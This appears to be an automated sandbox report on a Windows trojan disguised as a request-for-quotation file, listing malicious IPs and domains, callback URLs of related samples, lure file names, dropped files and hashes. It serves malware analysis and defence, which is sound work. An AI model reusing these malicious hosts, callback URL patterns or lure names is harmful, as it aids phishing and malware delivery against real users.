http://www.apache.org/licenses/LICENSE-2.0	explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com	explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designersG	explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designers/?	explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/bThe	explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	false		high
http://www.tiro.com	explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers	explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	RE; KOC RFQ for Flangers - RFQ 22965431.exe	false		high
http://www.goodfont.co.kr	explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.carterandcone.coml	explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sajatypeworks.com	explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.typography.netD	explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/cThe	explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://fontfabrik.com	explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.founder.com.cn/cn	explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	false		high
http://nsis.sf.net/NSIS_Error	RE; KOC RFQ for Flangers - RFQ 22965431.exe	false		high
http://www.jiyu-kobo.co.jp/	explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	false		high
http://www.%s.comPA	explorer.exe, 00000004.00000000.666941418.0000000002B50000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
http://www.fonts.com	explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	false		high
http://www.sandoll.co.kr	explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.urwpp.deDPlease	explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sakkal.com	explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.175.134	www.yihetubu.com	United States	13335	CLOUDFLARENETUS	true
154.83.72.159	www.jackgaughan.net	Seychelles	134548	DXTL-HKDXTLTseungKwanOServiceHK	true
203.170.80.250	www.blissburg.site	Australia	38719	DREAMSCAPE-AS-APDreamscapeNetworksLimitedAU	true
52.14.32.15	prod-sav-park-lb01-1919960993.us-east-2.elb.amazonaws.com	United States	16509	AMAZON-02US	false
34.102.136.180	worldleadersretail.com	United States	15169	GOOGLEUS	false
184.168.131.241	lovelivehuntingtonbeach.com	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	426977
Start date:	31.05.2021
Start time:	10:55:12
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	RE; KOC RFQ for Flangers - RFQ 22965431.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@7/3@12/7
EGA Information:	Failed
HDC Information:	Successful, ratio: 26.8% (good quality ratio 24.5%) Quality average: 75.4% Quality standard deviation: 30.4%
HCA Information:	Successful, ratio: 90% Number of executed functions: 108 Number of non-executed functions: 187
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 52.113.196.254, 13.107.3.254, 20.50.102.62, 104.42.151.234, 13.107.246.254, 52.255.188.83, 92.122.145.220, 40.88.32.150, 13.88.21.125, 13.64.90.137, 20.82.210.154, 205.185.216.42, 205.185.216.10, 20.54.104.15, 20.54.7.98, 20.54.26.129, 92.122.213.247, 92.122.213.194, 20.82.209.104 Excluded domains from analysis (whitelisted): s-ring.msedge.net, store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a1449.dscg2.akamai.net, arc.msn.com, consumerrp-displaycatalog-aks2eap-europe.md.mp.microsoft.com.akadns.net, iris-de-ppe-azsc-neu.northeurope.cloudapp.azure.com, teams-9999.teams-msedge.net, e12564.dspb.akamaiedge.net, skypedataprdcoleus15.cloudapp.net, audownload.windowsupdate.nsatc.net, au.download.windowsupdate.com.hwcdn.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, au-bg-shim.trafficmanager.net, skypedataprdcolwus17.cloudapp.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, ctldl.windowsupdate.com, cds.d2s7q6s2.hwcdn.net, consumerrp-displaycatalog-aks2aks-europe.md.mp.microsoft.com.akadns.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, s-ring.s-9999.s-msedge.net, t-ring.msedge.net, ris.api.iris.microsoft.com, t-9999.t-msedge.net, skypedataprdcoleus17.cloudapp.net, s-9999.s-msedge.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, teams-ring.teams-9999.teams-msedge.net, teams-ring.msedge.net, t-ring.t-9999.t-msedge.net, skypedataprdcolwus16.cloudapp.net, skypedataprdcolwus15.cloudapp.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net, neu-consumerrp-displaycatalog-aks2aks-europe.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
154.83.72.159	RE KOC RFQ for Flanges - RFQ 2074898.exe	Get hash	malicious	Browse	www.jackgaughan.net/u6e4/?u6u0=a0+uwTFn5nNVUPHoKe2kISzIrov1rZSfduXEMVOsrOurYOD9M3ct8u5Em4BSL0WuodEf&9rQl7=xP04lrqp
203.170.80.250	Client.vbs	Get hash	malicious	Browse	www.daydreamthelabel.site/qwwb/?UlX=xJPx8jnEJLKYhshI6VY7vtg9MFMnZJmQAiQbupS7X96Tz9f2O/Hwl49ZIgeY5zyIAH9n&6l=t8eTzlAhhTSh
	inv.exe	Get hash	malicious	Browse	www.striiikecricket.store/tabo/?ElS=rixcRJLBgmV/KF0o/BG9FaGXT/LpmZYhk9QpYEGMHr0fq14/z/77XbqDLVH0uUrWp+Gw&D81lv=X2MtetF0hVQlMV
	Inv.exe	Get hash	malicious	Browse	www.striiikecricket.store/tabo/?lJBxHNf=rixcRJLBgmV/KF0o/BG9FaGXT/LpmZYhk9QpYEGMHr0fq14/z/77XbqDLWr3yknukf7m/DZuxw==&_jlT_=Zfdl7rLHRt
	WhTpMNHuhn.exe	Get hash	malicious	Browse	www.plantilates.site/m20/?9rjL72ap=A8v8iETSj6u9/8+PXu62XowxXRvj3i9Jn+215kLJeGoaUSx+LmP+pIt678CpQ2T8IGai&r6q=X48xPNU8z
	Sample__IMG.exe	Get hash	malicious	Browse	www.browbarofficial.com/bll/
	3DOC909837464672367263 PDF.exe	Get hash	malicious	Browse	www.franchiseadvisorycouncil.com/pe/?1bZxj=T4WxmwyboU8+YIvZjurdZTkcR0DjNOcwQ/eTfYsla9oWIo8mdkantIgu3eRBKnF1GJB3cB7BVXc5HtvN&6l=rNDhOJ3h2Tv
	36DOC20009178654325676 PDF.exe	Get hash	malicious	Browse	www.franchiseadvisorycouncil.com/pe/?s2=T4WxmwyboU8+YIvZjurdZTkcR0DjNOcwQ/eTfYsla9oWIo8mdkantIgu3eRFTwJ0C4VnWx+dSXc+DpjN&4hK=-ZidQJq85jtPnLvp
	68DOC70009145677326754890 PDF.exe	Get hash	malicious	Browse	www.franchiseadvisorycouncil.com/pe/?rvKdSp48=T4WxmwztoDVIF4un8urdZTkcR0DjNOcwQ/eTfYsla9oWIo8mdkantIgu3eRDOhJ5G6p3cB60a3E9e6XBL1XNEw==&1b6H=r6wTgJV0lxyl
	36DOC8000913676890755 PDF.exe	Get hash	malicious	Browse	www.franchiseadvisorycouncil.com/pe/?1bZxj=T4WxmwztoDVIF4un8urdZTkcR0DjNOcwQ/eTfYsla9oWIo8mdkantIgu3eRDOhJ5G6p3cB60a3E9e6XBL1XNEw==&6l=rNDhOJ3h2Tv
	5DOC0912345456576 PDF.exe	Get hash	malicious	Browse	www.franchiseadvisorycouncil.com/pe/?8pvHV4q=T4WxmwztoDVIF4un8urdZTkcR0DjNOcwQ/eTfYsla9oWIo8mdkantIgu3eRDOhJ5G6p3cB60a3E9e6XBL1XNEw==&qb6HZ=7nWt2z9p4HOtkZJ0
	1DOC00091237876753389827282 PDF.exe	Get hash	malicious	Browse	www.franchiseadvisorycouncil.com/pe/?rvKdSp48=T4WxmwztoDVIF4un8urdZTkcR0DjNOcwQ/eTfYsla9oWIo8mdkantIgu3eRDOhJ5G6p3cB60a3E9e6XBL1XNEw==&1b6H=r6wTgJV0lxyl
	23SWIFT101992829182918 PDF.exe	Get hash	malicious	Browse	www.franchiseadvisorycouncil.com/pe/?2dyL8n=T4WxmwztoDVIF4un8urdZTkcR0DjNOcwQ/eTfYsla9oWIo8mdkantIgu3eRDOhJ5G6p3cB60a3E9e6XBL1XNEw==&1bED=xNuHZl
	19SWFT9087817162673 PDF.exe	Get hash	malicious	Browse	www.franchiseadvisorycouncil.com/pe/?8pQlij=T4WxmwztoDVIF4un8urdZTkcR0DjNOcwQ/eTfYsla9oWIo8mdkantIgu3eRDOhJ5G6p3cB60a3E9e6XBL1XNEw==&0jK=2d3DUfw
	53DOC08699567867 PDF.exe	Get hash	malicious	Browse	www.franchiseadvisorycouncil.com/pe/?t2=T4WxmwztoDVIF4un8urdZTkcR0DjNOcwQ/eTfYsla9oWIo8mdkantIgu3eRDOhJ5G6p3cB60a3E9e6XBL1XNEw==&9rI=y8TpPP0pmzL
	55DOC689878738473 PDF.exe	Get hash	malicious	Browse	www.franchiseadvisorycouncil.com/pe/?4hL8zV=T4WxmwztoDVIF4un8urdZTkcR0DjNOcwQ/eTfYsla9oWIo8mdkantIgu3eRDOhJ5G6p3cB60a3E9e6XBL1XNEw==&-Z=r2qxZlLXW
	52DOC62909827782727 PDF.exe	Get hash	malicious	Browse	www.franchiseadvisorycouncil.com/pe/
	3DOC60609998763763726 PDF.exe	Get hash	malicious	Browse	www.franchiseadvisorycouncil.com/pe/?lV5Hb=T4WxmwyboU8+YIvZjurdZTkcR0DjNOcwQ/eTfYsla9oWIo8mdkantIgu3eRFTwJ0C4VnWx+dSXc+DpjN&yB5=0v1dyxXPb4sD
	7PLT Draft request quotation for MOH tender 2018-2019.exe	Get hash	malicious	Browse	www.ptepracticeonline.net/m1/?5jj8V4_H=Cf846LL5/igJh0DSlromXHGSuBAGKWaD4TyUgj9KBYOLplrRRD4MRFwuUDeV77uuuNpeyGAByZ7yg+1ZY90jhw==&tfxDQ=7n0TXFLxmH
	49DOC2198097676198 PDF.exe	Get hash	malicious	Browse	www.franchiseadvisorycouncil.com/pe/?5jplGt2p=T4WxmwztoDVIF4un8urdZTkcR0DjNOcwQ/eTfYsla9oWIo8mdkantIgu3eRDOhJ5G6p3cB60a3E9e6XBL1XNEw==&tdxtQ=7n3DUfwpiHj
	30Order pdf.exe	Get hash	malicious	Browse	www.satkingarrowplay.com/ca/?3f=M5NZdnb4ALKE4BSJUJa0Z9WOIrAHAAQ8VRLct0Oa8u4DDHnQ/wlToXKKtGPrKJcH3jczDBmLc/kveUa8yWDWFA==&7nC=ghSdDdPhF

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
www.jackgaughan.net	RE KOC RFQ for Flanges - RFQ 2074898.exe	Get hash	malicious	Browse	154.83.72.159
prod-sav-park-lb01-1919960993.us-east-2.elb.amazonaws.com	PO 0003789311.exe	Get hash	malicious	Browse	13.59.53.244
	tgb4.exe	Get hash	malicious	Browse	13.59.53.244
	transferencia bancaria.exe	Get hash	malicious	Browse	52.15.160.167
	SHIPPING DOCUMENT_7048555233PDF.exe	Get hash	malicious	Browse	3.143.65.214
	item.exe	Get hash	malicious	Browse	13.59.53.244
	mal1.exe	Get hash	malicious	Browse	13.59.53.244
	Payment Confirmation.exe	Get hash	malicious	Browse	52.15.160.167
	PO_0065-2021.exe	Get hash	malicious	Browse	13.59.53.244
	PURCHASE ORDER LIST.exe	Get hash	malicious	Browse	52.15.160.167
	MkV1zeHKw7.exe	Get hash	malicious	Browse	13.59.53.244
	Descripciones de oferta de productos MACIILIAS SRL doc.exe	Get hash	malicious	Browse	3.143.65.214
	n2fpCzXURP.exe	Get hash	malicious	Browse	13.59.53.244
	Purchase Inquiry&Product Specification.exe	Get hash	malicious	Browse	13.59.53.244
	New order 201534.pdf.exe	Get hash	malicious	Browse	13.59.53.244
	New order 301534.pdf.exe	Get hash	malicious	Browse	3.143.65.214
	d8HbibhqWZ.exe	Get hash	malicious	Browse	52.15.160.167
	pictures.exe	Get hash	malicious	Browse	13.59.53.244
	f268bad6_by_Libranalysis.exe	Get hash	malicious	Browse	13.59.53.244
	KWX1rM9GB0.exe	Get hash	malicious	Browse	3.16.197.4
	Specifikacije ponude proizvoda Mesutex 2021 doc.exe	Get hash	malicious	Browse	13.59.53.244

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
DXTL-HKDXTLTseungKwanOServiceHK	RE KOC RFQ for Flanges - RFQ 2074898.exe	Get hash	malicious	Browse	154.83.72.159
	item.exe	Get hash	malicious	Browse	154.95.193.124
	Payment SWIFT_Pdf.exe	Get hash	malicious	Browse	45.199.77.202
	Payment Advice-Pdf.exe	Get hash	malicious	Browse	45.199.77.202
	Ack0527073465.exe	Get hash	malicious	Browse	154.93.191.132
	PO#270521.pdf.exe	Get hash	malicious	Browse	154.80.241.154
	List doc__Pdf.exe	Get hash	malicious	Browse	156.238.108.75
	#U20ac9,770 pdf.exe	Get hash	malicious	Browse	156.239.112.237
	Taisier Med Surgical Sutures.exe	Get hash	malicious	Browse	45.199.37.6
	PO_0065-2021.exe	Get hash	malicious	Browse	154.90.73.180
	PO_2021005.exe	Get hash	malicious	Browse	154.95.193.124
	HEN.exe	Get hash	malicious	Browse	45.199.37.6
	Po_23456.pdf.exe	Get hash	malicious	Browse	156.232.192.62
	hrUbr1mLqzggh0H.exe	Get hash	malicious	Browse	45.199.38.80
	Consignment Document PL&BL Draft.exe	Get hash	malicious	Browse	154.219.150.185
	RFQ_BRAT_METAL_TECH_LTD.exe	Get hash	malicious	Browse	154.95.193.124
	POSWM240521.exe	Get hash	malicious	Browse	154.90.73.180
	Ohki Blower Skid Base Enquiry 052521.exe	Get hash	malicious	Browse	45.194.139.173
	New order 301534.pdf.exe	Get hash	malicious	Browse	154.95.233.53
	ESeA95l03RsO4oz.exe	Get hash	malicious	Browse	154.95.160.234
CLOUDFLARENETUS	iwp6z0D9Fg.exe	Get hash	malicious	Browse	172.67.9.138
	PO 4500151298.exe	Get hash	malicious	Browse	23.227.38.65
	6VLvFftCxz.exe	Get hash	malicious	Browse	104.22.18.188
	RFQ-14000135846_Scanned from a Xerox multifunction device.pdf.exe	Get hash	malicious	Browse	172.67.188.154
	COTIZACI#U00d3N___________________pdf.exe	Get hash	malicious	Browse	172.67.188.154
	wvtQKb5TDYgkYmJ.exe	Get hash	malicious	Browse	172.67.188.154
	280521010,pdf.exe	Get hash	malicious	Browse	172.67.188.154
	Maersk Arrival notce 208496827.exe	Get hash	malicious	Browse	172.67.190.159
	IMG_050_015_77_03.xls	Get hash	malicious	Browse	172.67.188.154
	RFQ .57648957664.exe	Get hash	malicious	Browse	104.21.82.82
	Bidding of BMP Project EMMP.99876786.exe	Get hash	malicious	Browse	23.227.38.74
	cy.exe	Get hash	malicious	Browse	23.227.38.74
	RE KOC RFQ for Flanges - RFQ 2074898.exe	Get hash	malicious	Browse	66.235.200.147
	2020tb3005.doc__.rtf	Get hash	malicious	Browse	172.67.68.88
	rove.exe	Get hash	malicious	Browse	104.21.86.4
	Q2sN4ReERt.exe	Get hash	malicious	Browse	172.67.9.138
	GLkeujCDoC.exe	Get hash	malicious	Browse	104.22.19.188
	3sXtTIzQE4.exe	Get hash	malicious	Browse	104.22.19.188
	nXtIHUezfQ.exe	Get hash	malicious	Browse	104.22.19.188
	POST SHIPMENT DOCUMENT.exe	Get hash	malicious	Browse	172.67.188.154
DREAMSCAPE-AS-APDreamscapeNetworksLimitedAU	Document_46161561.xls	Get hash	malicious	Browse	122.201.118.64
	RFQ_BRAT_METAL_TECH_LTD.exe	Get hash	malicious	Browse	176.74.27.65
	POSWM240521.exe	Get hash	malicious	Browse	176.74.27.65
	Bill Of Lading & Packing List.pdf.gz.exe	Get hash	malicious	Browse	122.201.126.201
	d801e424_by_Libranalysis.docx	Get hash	malicious	Browse	176.74.27.193
	raw f.exe	Get hash	malicious	Browse	122.201.126.201
	raw.exe	Get hash	malicious	Browse	122.201.126.201
	payment.exe	Get hash	malicious	Browse	27.124.125.18
	catalog-1204608778.xlsm	Get hash	malicious	Browse	116.0.21.14
	catalog-1204608778.xlsm	Get hash	malicious	Browse	116.0.21.14
	document-933340782.xlsm	Get hash	malicious	Browse	103.68.166.129
	document-933340782.xlsm	Get hash	malicious	Browse	103.68.166.129
	document-767588369.xlsm	Get hash	malicious	Browse	103.68.166.129
	document-767588369.xlsm	Get hash	malicious	Browse	103.68.166.129
	deIt7iuD1y.exe	Get hash	malicious	Browse	43.250.249.65
	document-1529481003.xlsm	Get hash	malicious	Browse	103.68.166.129
	document-1848958962.xlsm	Get hash	malicious	Browse	103.68.166.129
	document-1848958962.xlsm	Get hash	malicious	Browse	103.68.166.129
	document-227495331.xlsm	Get hash	malicious	Browse	103.68.166.129
	document-227495331.xlsm	Get hash	malicious	Browse	103.68.166.129

JA3 Fingerprints

No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\nsf9A32.tmp\System.dll	PO 0003789311.exe	Get hash	malicious	Browse
	PO 4500151298.exe	Get hash	malicious	Browse
	PO (2).exe	Get hash	malicious	Browse
	PO.exe	Get hash	malicious	Browse
	Swift_Bnakia_637837883.exe	Get hash	malicious	Browse
	proforma invoice TRKINV2021000000000003005 TT Slip copy.exe	Get hash	malicious	Browse
	Maersk Arrival notce 208496827.exe	Get hash	malicious	Browse
	proforma invoice TRKINV2021000000000003005 TT Slip copy.exe	Get hash	malicious	Browse
	RFQ .57648957664.exe	Get hash	malicious	Browse
	Bidding of BMP Project EMMP.99876786.exe	Get hash	malicious	Browse
	cy.exe	Get hash	malicious	Browse
	cali.exe	Get hash	malicious	Browse
	RE KOC RFQ for Flanges - RFQ 2074898.exe	Get hash	malicious	Browse
	rove.exe	Get hash	malicious	Browse
	Order 002992911.exe	Get hash	malicious	Browse
	PaymentConfirmation.exe	Get hash	malicious	Browse
	BS.exe	Get hash	malicious	Browse
	HalkbankEkstre3005202187778622870.exe	Get hash	malicious	Browse
	tgb4.exe	Get hash	malicious	Browse
	Roominglist.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\ck35poae0p1lfmwb2mxv Download File
Process:	C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe
File Type:	data
Category:	dropped
Size (bytes):	164352
Entropy (8bit):	7.9988727649053875
Encrypted:	true
SSDEEP:	3072:L1UC5k+sXErbfwuwvfNxYQDo6iGTMF5uzKxCCThm/pauI6rmtLdIaT1:yMLrbfNwXZcJGg/uzICCThCaFvp1T1
MD5:	0EEE0B4214DE843B1E5E28742F4E4201
SHA1:	5E434E86710EF8EB7F53BE580104C9A798A35BBA
SHA-256:	C888219C41D66E6941F4A3786B9E337D927A9F8C2AB41790459808EB54F2565B
SHA-512:	688051B485F5927C65F7A50B39C0CC70C28EC480EEA8873DB1B47269AAF0343FC6676C1DBB17B01E10E8ED9B9B857E144238C41EDABA09D1210A274035B03E99
Malicious:	false
Reputation:	low
Preview:	.\|....Ik...Z.m.7.......1e...n..2..0 ..J.G...QR..........D....QL._).;C..f.>i7.5.G.8Pa....0.8..S.....fuW@......\|Xh0k0..2$.ii..m#..l:......."..gqy..6'...[..P..g...'2...OVd+b...@.i.)O!B.8.....!#.R...Y.O.k...e...Z..;...JP.0;...q i@p...5?Sx.Z0.....5..#..t%.6.C.{r(..\|.&$.....BW..Jf.....AzK:..]..f..".Z..s...".....teh.}..v.....:..$.~........H0T.../Uz..k.a..Z..ZU..)...6.G.}.k..,;.....N<J.,.\M......DA....%.{0....u.o...a....l.8..'......5.T.C.WS.4.....a\.]`.H@...a.<..kx.....i....r..`...'T...:...................D..- ..T.GF../o.q.$.+.%...Z......xW...C..\|Z..]...X`{....S...........>..3.[..{...p....I.=..uH{.m.mKa....H.{B...!.5cs.*.i_.n(.U.i=.U..\|..z.).>.B.od\|]........[.....K.F..Aj]?_.0..#.K.0.._KKA...cM..BN9@.j.A.Uj..<....i?.Q..U...f.....ew..z:...{h..O.f.k....f}n4..H..'>+....!.....tF.........vFt.)...a?..,@..8W..O..t6:G....Q...;...!z...Mi:...R........h..v.%].......o.b2H.Os.b.Z./m.;..H..e.:{...<...EW....8br.xr.E.$N1DJ.....QM...Y...

C:\Users\user\AppData\Local\Temp\nsf9A32.tmp\System.dll Download File
Process:	C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.568877095847681
Encrypted:	false
SSDEEP:	192:7DKnJZCv6VmbJQC+tFiUdK7ckD4gRXKQx+LQ2CSF:7ViJrtFRdbmXK8+PCw
MD5:	C17103AE9072A06DA581DEC998343FC1
SHA1:	B72148C6BDFAADA8B8C3F950E610EE7CF1DA1F8D
SHA-256:	DC58D8AD81CACB0C1ED72E33BFF8F23EA40B5252B5BB55D393A0903E6819AE2F
SHA-512:	D32A71AAEF18E993F28096D536E41C4D016850721B31171513CE28BBD805A54FD290B7C3E9D935F72E676A1ACFB4F0DCC89D95040A0DD29F2B6975855C18986F
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: PO 0003789311.exe, Detection: malicious, Browse Filename: PO 4500151298.exe, Detection: malicious, Browse Filename: PO (2).exe, Detection: malicious, Browse Filename: PO.exe, Detection: malicious, Browse Filename: Swift_Bnakia_637837883.exe, Detection: malicious, Browse Filename: proforma invoice TRKINV2021000000000003005 TT Slip copy.exe, Detection: malicious, Browse Filename: Maersk Arrival notce 208496827.exe, Detection: malicious, Browse Filename: proforma invoice TRKINV2021000000000003005 TT Slip copy.exe, Detection: malicious, Browse Filename: RFQ .57648957664.exe, Detection: malicious, Browse Filename: Bidding of BMP Project EMMP.99876786.exe, Detection: malicious, Browse Filename: cy.exe, Detection: malicious, Browse Filename: cali.exe, Detection: malicious, Browse Filename: RE KOC RFQ for Flanges - RFQ 2074898.exe, Detection: malicious, Browse Filename: rove.exe, Detection: malicious, Browse Filename: Order 002992911.exe, Detection: malicious, Browse Filename: PaymentConfirmation.exe, Detection: malicious, Browse Filename: BS.exe, Detection: malicious, Browse Filename: HalkbankEkstre3005202187778622870.exe, Detection: malicious, Browse Filename: tgb4.exe, Detection: malicious, Browse Filename: Roominglist.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)...m.m.m...k.m.~....j....l.9..i....l.Richm.........................PE..L......K...........!................0).......0...............................`......................................p2......t0..P............................P.......................................................0..X............................text...1........................... ..`.rdata.......0......."..............@..@.data...d....@.......&..............@....reloc.......P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qvuaknwaa Download File
Process:	C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe
File Type:	data
Category:	dropped
Size (bytes):	46451
Entropy (8bit):	4.9142398744551725
Encrypted:	false
SSDEEP:	768:MEjPzg2uaF6giRet3Iudlofh6CbsV29pBDlEoW5DYKxP0kFgmed0VfECsBiMoT9B:Brzia7t3IPwBVwpBqTxYKxP/1VzsETL
MD5:	455AB76527D68FF2B446040D8A289C68
SHA1:	D3816862ED1FE29BB71694DD1514E8FB8195C8CF
SHA-256:	BA1591A6A4BE3F057AEDA313B297DB8A65003E1399823160D4754E33C6ADB439
SHA-512:	D32A9C715461D9260E3A8D241EC718B431D12D134B8522CFB995D142BF49564BA918E1BCC20208F656FC0C2F61EC489F890953662285FA9813F15D0D9B2AD645
Malicious:	false
Reputation:	low
Preview:	U.......3........%.....^...................................P......................................... ...........q......................................... ................................... ....................... ..................................... .....!...#."...X.#.....$.....%.....&.....'...).(.....)...J.*.....+.....,.....-.........P./.....0...P.1.....2.....3.....4.....5.....6.....7.....8.....9.....:.....;.....<.....=.....>.....?.....@.....A.....B.....C.....D.....E.....F.....G.....H.....I.....J.....K.....L.....M.....N.....O.....P.....Q.....R.....S.....T.....U.....V.....W.....X.....Y.....Z.....[.....\.....].....^....._.....`.....a.....b.....c.....d.....e.....f.....g.....h.....i.....j.....k.....l...u.m.....n.....o.....p.....q.....r.....s.....t.....u.....v...u.w.....x.....y.....z.....{.....\|.....}.....~...............r........................

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.908599325679239
TrID:	Win32 Executable (generic) a (10002005/4) 92.16% NSIS - Nullsoft Scriptable Install System (846627/2) 7.80% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	RE; KOC RFQ for Flangers - RFQ 22965431.exe
File size:	213907
MD5:	885d94826eaa427258e85a7aaed9e3d8
SHA1:	9844b3b7f7f4ab9ff52cffc1bcdd17aac8a5c907
SHA256:	0128dcf3bcd255f622b36968f61b8b69efcddd6c3913c0694d75e1ec81bea378
SHA512:	e73b5ba72d7d0d4ff3e3dac2830a8f4f51143b97815a360c9a5804e88ac1b24ab7bef48ba1914aa15e6aa573542e61def9f05f8d8d9078f53e5e9f3d13981e9c
SSDEEP:	6144:8Qq+wgMLrbfNwXZcJGg/uzICCThCaFvp1TCup:TwtLrDy0fay9xXTXp
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i........................PE..L......K.................Z.........

File Icon


Icon Hash:	b2a88c96b2ca6a72

Static PE Info

General
Entrypoint:	0x4030cb
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
